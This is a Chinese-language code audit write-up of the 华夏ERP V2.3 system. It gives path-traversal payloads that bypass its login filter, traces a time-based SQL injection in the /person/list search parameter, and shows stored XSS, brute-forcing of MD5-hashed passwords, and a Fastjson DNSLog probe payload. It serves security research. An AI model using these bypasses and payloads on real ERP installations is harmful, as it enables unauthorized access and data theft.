华夏ERP V2.3 代码审计

237 阅读7分钟

审计准备

  • 使用自己编写的Python脚本对pom.xml中的组件进行扫描,扫描结果如下:

    检测到Mybatis依赖
    检测到Swagger支持
    检测到的第三方请求依赖:
    - HttpClient, 相关检查关键字:HttpClient
    未检测到JSP支持
    检测到Log4j支持
    组件: org.apache.logging.log4j:log4j-to-slf4j, 版本: 2.10.0
    检测到Fastjson支持
    组件: com.alibaba:fastjson, 版本: 1.2.55
    
  • 现在有很多插件来对代码进行扫描,可以更好的发现可能存在的漏洞,使用自己编写的Python脚本只是对自己的checklist,还有很多提示的信息,这里先省略了

  • 查看项目文件结构

Screenshot 2025-06-03 at 15.07.58.png

  • 运行项目,使用Yakit进行抓包,查看功能点,记录URL路径

权限校验

  • 查看项目文件结构时看到有个目录为filter,里面存放的应该是项目对应的拦截器过滤器 Screenshot 2025-06-03 at 18.01.56.png

  • 在代码中存在四种判断方式:

    • 如果已经登录,直接放行
    • 看URL中是否包含特定路径,包含则放行
    • 使用verify()方法验证URL,验证通过则放行
    • 使用以特定字符开头的URL路径则放行

包含特定路径可绕过过滤器

  • 根据代码,当URL中包含/doc.html/register.html/login.html则放行数据包 Screenshot 2025-06-03 at 18.20.19.png

  • 构建路径/doc.html/.. 再加上正常访问的路径,/doc.html/.. 会返回根路径,再加上正常访问路径即可正常访问各功能点

  • 正常登录后访问的数据包 Screenshot 2025-06-03 at 18.22.37.png

  • 删除登录后的Cookie中的session信息的数据包,返回302重定向代码,返回login.html
    Screenshot 2025-06-03 at 18.23.03.png

  • 加入越权Payload后的数据包,成功获取了所有用户信息 Screenshot 2025-06-03 at 18.30.54.png

通过verify()验证可绕过过滤器

  • 一开始定义了要忽略的文件名后缀,包括:.css.js.jpg.png.gif.ico文件,之后传递到初始化方法中,生成ignoredList列表 Screenshot 2025-06-03 at 19.03.22.png

  • 使用verify()方法进行验证,根据代码判断,当访问的文件后缀在ignoredList中,就放行数据包 Screenshot 2025-06-03 at 19.06.34.png Screenshot 2025-06-03 at 19.09.14.png

  • 尝试构建越权访问路径:/a.css/..,后面再加上正常访问的路径即可

  • 正常登录后访问的数据包 Screenshot 2025-06-03 at 18.22.37.png

  • 删除登录session后的数据包,返回302重定向到登录页面 Screenshot 2025-06-03 at 18.23.03.png

  • 添加越权Payload后的数据包,成功越权获取用户信息 Screenshot 2025-06-03 at 19.14.25.png

  • 正常情况应该以endsWith()方法来判断URL是否是以特定后缀名结尾,但代码中是以正则表达式进行验证的

使用特定路径前缀可绕过过滤器

  • 一开始定义了些允许访问的路径前缀:/user/login/user/registerUser/v2/api-docs,初始化方法中把运行访问路径生成alowUrls列表 Screenshot 2025-06-03 at 19.03.22.png

  • 对URL进行判断,若使用的路径开头在allowUrls列表中,则放行数据包 Screenshot 2025-06-03 at 19.20.05.png

  • 判断方法中使用startsWith()方法进行验证,可以使用目录穿越的方式进行绕过,构建Payload路径:/user/login/../.. ,后面再添加正常访问路径即可

  • 正常登录后的数据包 Screenshot 2025-06-03 at 18.22.37.png

  • 删除登录session后的数据包,返回302重定向回登录页面 Screenshot 2025-06-03 at 18.23.03.png

  • 添加越权Payload后的数据包,成功越权查询到用户信息 Screenshot 2025-06-03 at 19.25.39.png

SpringBoot信息泄露

  • 上面验证越权路径时有设置/v2/api-docs的路径可以放行,访问这个路径可以看到接口信息文档 Screenshot 2025-06-03 at 19.38.36.png
  • 通过这些文档中的接口信息看是否存在未授权访问、越权或其他类型业务逻辑漏洞

SQL注入漏洞

  • 对SQL注入的审计先从搜索关键字开始,上面检查到了Mybatis组件,所以搜索关键字为:${ ,并且查询的是.xml文件

  • 发现在PersonMapperEx.xml中存在like语句,使用like进行模糊查询时,参数只能拼接,所以需要查看参数是否可控,并且是否存在过滤 Screenshot 2025-06-03 at 16.00.50.png

  • 查看PersonMapperEx.xml文件,发现id为selectByConditionPersonselect标签,里面包含like模糊查询语句 Screenshot 2025-06-03 at 16.04.34.png

  • 继续查询调用,搜索关键字selectByConditionPerson查询.java文件 Screenshot 2025-06-03 at 16.07.01.png

  • 定位到接口文件PersonMapperEx,里面有selectByConditionPerson方法 Screenshot 2025-06-03 at 16.10.23.png

  • 继续跟踪调用,搜索关键字personMapperEx.selectByConditionPerson Screenshot 2025-06-03 at 16.11.50.png

  • 定位到PersonService类中的select方法,里面存在personMapperEx.selectByConditionPerson 方法,参数包含nametype Screenshot 2025-06-03 at 16.14.28.png

  • 继续跟踪调用,搜索关键字personService.select Screenshot 2025-06-03 at 16.20.26.png

  • 定位到PersonComponent类中,其中的getPersonList方法中调用了personService.select方法,personService.select方法中的参数nametype源自参数search,而search源自getPersonList方法的参数map,而getPersonList方法被同个类中的select方法调用,参数同样为map Screenshot 2025-06-03 at 16.24.20.png

  • PersonComponent类实现了ICommonQuery接口,查看ICommonQuery接口文件,查看其中的select方法,其中注释介绍了select方法的功能,参数为parameterMap Screenshot 2025-06-03 at 16.27.06.png

  • 继续跟踪,搜索关键字ICommonQuery,定位到InterfaceContainer类中 Screenshot 2025-06-03 at 16.29.47.png

  • 根据InterfaceContainer类文件中代码所示,init初始化,把各service功能组件放入configComponentMap中,再使用getCommonQuery方法调用各功能组件,通过apiName参数调用各service功能组件,person对应的就应该是PersonComponent Screenshot 2025-06-03 at 16.42.48.png Screenshot 2025-06-03 at 16.43.31.png

  • 继续跟踪,搜索关键字getCommonQuery,定位到CommonQueryManager.java类文件中 Screenshot 2025-06-03 at 16.48.02.png

  • CommonQueryManager类文件中的select方法调用了getCommonQuery方法,传入参数apiName,而apiName来自于CommonQueryManager类中的select方法,而调用getCommonQuery方法的container就是InterfaceContainer类的对象 Screenshot 2025-06-03 at 16.51.17.png Screenshot 2025-06-03 at 16.52.54.png

  • 继续跟踪,搜索关键字CommonQueryManager ,定位到ResourceController类文件中 Screenshot 2025-06-03 at 16.58.02.png

  • ResourceController类文件中,使用CommonQueryManager类定义了对象configResourceManager,而configResourceManagerselect方法是在getList方法中被调用的,而search参数也是在getList方法中从前端参数传递中获取的,并且没发现安全过滤 Screenshot 2025-06-03 at 17.05.53.png Screenshot 2025-06-03 at 17.08.01.png

  • 根据一系列跟踪定位,可以判断功能点路径应为/person/list,参数应为search,结构应该为/person/list?search=

  • 搜索关键字person,定位到PersonController文件中,可以发现/person的功能点是经手人信息 Screenshot 2025-06-03 at 17.13.57.png

  • 访问功能点,获取数据包 Screenshot 2025-06-03 at 17.15.40.png

  • 构建数据包,验证是否存在SQL注入漏洞 Screenshot 2025-06-03 at 17.19.03.png

  • 发现成功延时返回,可以说明存在SQL注入漏洞 Screenshot 2025-06-03 at 15.49.54.png

  • 控制台打印了SQL查询语句如下 Screenshot 2025-06-03 at 15.30.26.png

存储型XSS漏洞

  • 一般XSS的验证会放在过滤器或拦截器中,但上面分析过滤器时并没有对传入的参数进行统一的XSS过滤,代码中也没搜索到相关的转义字符 Screenshot 2025-06-03 at 19.56.19.png

  • 对功能点进行验证

    • 登录普通用户,在商品管理功能中添加商品信息,在相关输入框中输入XSS的验证Payload Screenshot 2025-06-03 at 19.59.35.png

    • 提交表单,验证的5个输入框都弹出JS提示,证明存在存储型XSS漏洞 Screenshot 2025-06-03 at 20.03.04.png Screenshot 2025-06-03 at 20.03.08.png Screenshot 2025-06-03 at 20.03.15.png Screenshot 2025-06-03 at 20.03.19.png Screenshot 2025-06-03 at 20.03.24.png

  • 添加时的数据包 Screenshot 2025-06-03 at 20.12.57.png

  • 执行的SQL代码 Screenshot 2025-06-03 at 20.17.36.png

  • 退出登录,登录管理员权限用户,访问商品信息,成功弹出JS提示 Screenshot 2025-06-03 at 20.08.11.png

暴力破解密码

  • 跟踪越权代码时查看过User相关代码,发现登录功能没有对登录次数进行限制,也没有验证码验证 Screenshot 2025-06-03 at 20.07.54.png

  • 登录相关代码 Screenshot 2025-06-03 at 20.26.27.png Screenshot 2025-06-03 at 20.28.29.png

  • 所以可以进行暴力用户名、密码测试

  • 查看登录的数据包 Screenshot 2025-06-03 at 20.22.15.png

  • 密码参数传递时进行了加密,看格式猜测是MD5加密,对密码进行验证,成功解密 Screenshot 2025-06-03 at 20.24.34.png

  • 搜索关键字MD5 Screenshot 2025-06-03 at 20.34.34.png

  • 观察代码确实是使用的MD5算法进行加密 Screenshot 2025-06-03 at 20.33.53.png

  • 设置密码传递位置使用字典爆破并进行MD5加密,成功登录 Screenshot 2025-06-03 at 20.40.05.png

Fastjson反序列化漏洞

  • 扫描pom.xml文件时发现了Fastjson的组件,版本是1.2.55,是存在反序列化漏洞的版本

  • 搜索关键字parseObject( Screenshot 2025-06-03 at 21.17.23.png

  • 定位到StringUtil类文件,其中的静态方法getInfo调用了JSONObject.parseObject()方法,传递的参数是search Screenshot 2025-06-03 at 21.20.22.png

  • 查看getInfo方法的使用情况,发现之前查看过的PersonComponentScreenshot 2025-06-03 at 21.24.54.png

  • 查看PersonComponent类文件,getPersonList()方法调用了StringUtil.getInfo()方法,参数也是search中获取 Screenshot 2025-06-03 at 21.25.40.png

  • 后面就和上面SQL注入时分析的一样,漏洞点路径就应该是/person/list?search=

  • 先注册DNSLog域名:wmkuewcgla.zaza.eu.org,再构建Fastjson的验证Payload{"@type":"java.net.Inet4Address","val":"wmkuewcgla.zaza.eu.org"}

  • 对Payload进行URL编码:%7B%22@type%22:%22java.net.Inet4Address%22%2C%22val%22:%[22wmkuewcgla.zaza.eu.org](<http://22wmkuewcgla.zaza.eu.org/>)%22%7D

  • 再构建数据包发送 Screenshot 2025-06-03 at 21.37.16.png

  • DNSLog平台成功收到解析记录 Screenshot 2025-06-03 at 21.38.15.png

  • 成功验证存在Fastjson漏洞